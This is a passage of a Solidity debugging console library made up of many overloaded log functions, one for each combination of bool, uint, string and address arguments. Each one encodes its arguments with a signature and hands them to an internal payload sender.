function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
